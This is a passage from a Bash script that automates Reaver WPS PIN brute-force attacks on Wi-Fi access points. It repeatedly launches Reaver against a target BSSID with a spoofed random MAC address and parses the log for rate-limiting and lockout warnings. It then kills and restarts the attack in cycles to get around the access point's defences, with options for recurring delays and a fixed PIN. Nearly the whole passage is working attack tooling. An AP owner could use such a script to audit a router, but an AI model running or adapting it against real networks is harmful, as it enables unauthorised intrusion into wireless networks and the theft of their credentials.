                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME18-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME18-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME18-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME18-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP18 (ESSID: $NMEWARN18)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME18-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME18-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME18-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME18-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP18 (ESSID: $NMEWARN18)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME18-$DATEFILE-$PAD

                   fi


#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null



clear
	fi

################# Determine to keep file or not ###########

 if [ $KEEP_FILE18 == n ] || [ $KEEP_FILE18 == N ]; then

          rm VARMAC_LOGS/$NAME18-$DATEFILE-$PAD

			fi

################End keep file or ease #####################


###############################END USR Block################################################
###############################Start USR Block################################################

if [[ $USE_R19 == n || $USE_R19 == N ]] && [[ $USE_LONG19 == n || $USE_LONG19 == N ]] && [[ $USE_PIN19 == n || $USE_PIN19 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME19"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL19"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP19"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE19 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME19-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL19 -b $TARGETAP19 -vv -x 60 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME19-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE19-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME19-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi


if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME19-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME19-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME19-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY1" ]] || [[ $line == "YYY21" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY22" ]] || [[ $line == "YYY23" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME19-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME19-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME19-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME19-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME19-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME19-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME19-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME19-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY43" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP19 (ESSID: $NMEWARN19)" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY41" ]] || [[ $line == "YYY42" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME19-$DATEFILE-$PAD


                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME19-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME19-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME19-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP19 (ESSID: $NMEWARN19)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME19-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R19 == y || $USE_R19 == Y ]] && [[ $USE_LONG19 == n || $USE_LONG19 == N ]] && [[ $USE_PIN19 == n || $USE_PIN19 == N ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME19"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL19"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP19"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX19" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY19"
echo -e "$info Reaver live time                   = $yel$LIVE19 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME19-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL19 -b $TARGETAP19 -vv -x 60 -r $RX19:$RY19 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME19-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE19-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME19-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME19-$DATEFILE-$PAD

                   fi


REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME19-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME19-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME19-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME19-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME19-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME19-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME19-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME19-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME19-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME19-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP19 (ESSID: $NMEWARN19)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME19-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME19-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME19-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME19-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP19 (ESSID: $NMEWARN19)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME19-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R19 == n || $USE_R19 == N ]] && [[ $USE_LONG19 == y || $USE_LONG19 == Y ]] && [[ $USE_PIN19 == n || $USE_PIN19 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME19"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL19"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP19"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE19 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME19-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL19 -b $TARGETAP19 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME19-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE19-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME19-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME19-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME19-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME19-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME19-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME19-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME19-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME19-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME19-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME19-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME19-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME19-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP19 (ESSID: $NMEWARN19)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME19-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME19-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME19-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME19-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP19 (ESSID: $NMEWARN19)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME19-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R19 == y || $USE_R19 == Y ]] && [[ $USE_LONG19 == y || $USE_LONG19 == Y ]] && [[ $USE_PIN19 == n || $USE_PIN19 == N ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME19"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL19"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP19"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX19" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY19"
echo -e "$info Reaver live time                   = $yel$LIVE19 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME19-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL19 -b $TARGETAP19 -r $RX19:$RY19 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME19-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE19-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME19-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME19-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME19-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME19-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME19-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME19-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME19-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME19-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME19-$DATEFILE-$PAD

                   fi


REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME19-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME19-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME19-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP19 (ESSID: $NMEWARN19)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME19-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME19-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME19-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME19-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP19 (ESSID: $NMEWARN19)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME19-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######


####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi



#############PIN Addittions

if [[ $USE_R19 == n || $USE_R19 == N ]] && [[ $USE_LONG19 == n || $USE_LONG19 == N ]] && [[ $USE_PIN19 == y || $USE_PIN19 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME19"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL19"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP19"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE19 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME19-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL19 -b $TARGETAP19 -vv -x 60  --pin=$WPS_PIN19 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME19-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE19-60))/3))
LINECAP=2 # Set line capture switch


